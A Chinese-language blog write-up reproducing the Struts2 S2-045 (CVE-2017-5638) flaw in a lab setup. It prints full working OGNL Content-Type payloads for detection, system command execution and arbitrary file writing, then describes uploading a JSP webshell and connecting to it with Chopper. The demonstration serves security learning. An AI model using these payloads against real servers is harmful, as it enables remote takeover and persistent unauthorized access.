struts2-045 CVE-2017-5638

漏洞描述:

Struts使用的Jakarta解析文件上传请求包不当,当远程攻击者构造恶意的Content-Type,可能导致远程命令执行。

漏洞范围:

Struts 2.3.5 – Struts 2.3.31

Struts 2.5 – Struts 2.5.10

漏洞复现:

实验环境:windows7虚拟机、tomcat 8.0.53、struts-2.5.10

将下载好的struts2.5.10漏洞war包拷贝到tomcat目录下。

下载地址:http://archive.apache.org/dist/struts/2.5.10/

struts2-showcase

进行访问。。

ok

验证漏洞

使用公布的POC进行测试是否存在s2-045漏洞。

%{(#test='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}

使用burp进行抓包测试POC。

success

证明存在该漏洞。

可以使用该POC编写脚本直接进行测试。。(找的公布的POC)

https://blog.csdn.net/isinstance/article/details/61193987

测试发现没有成功,稍微进行修改。

s2-045.py
success

证明存在该漏洞后,进行利用。

命令执行

使用POC

%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ipconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

使用burp进行测试。且权限只是admin

ok

同样使用现有的脚本进行测试。

ipconfig

getshell

使用POC进行文件上传

_multipart/form-data%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#o):((#c=#context['com.opensymphony.xwork2.ActionContext.container']).(#g=#c.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#g.getExcludedPackageNames().clear()).(#g.getExcludedClasses().clear()).(#context.setMemberAccess(#o)))).(#[email protected]@getRequest()).(#f=new java.io.File(#req.getRealPath('/'),#req.getParameter('f'))).(@org.apache.commons.io.IOUtils@copy(#req.getInputStream(),new java.io.FileOutputStream(#f)))}

使用burp进行测试。

使用POST数据包,f=x.jsp

ok
x.jsp
success

尝试上传小马

ok
403禁止

因为策略的限制。出现403禁止,尝试上传到可被访问目录

root下

直接访问。。

success

菜刀连接。。

shell

参考资料:

http://phantom0301.cc/2017/03/13/struts2/

http://www.polaris-lab.com/index.php/archives/45/

https://blog.csdn.net/isinstance/article/details/61193987

你可能感兴趣的:(struts2-045 CVE-2017-5638)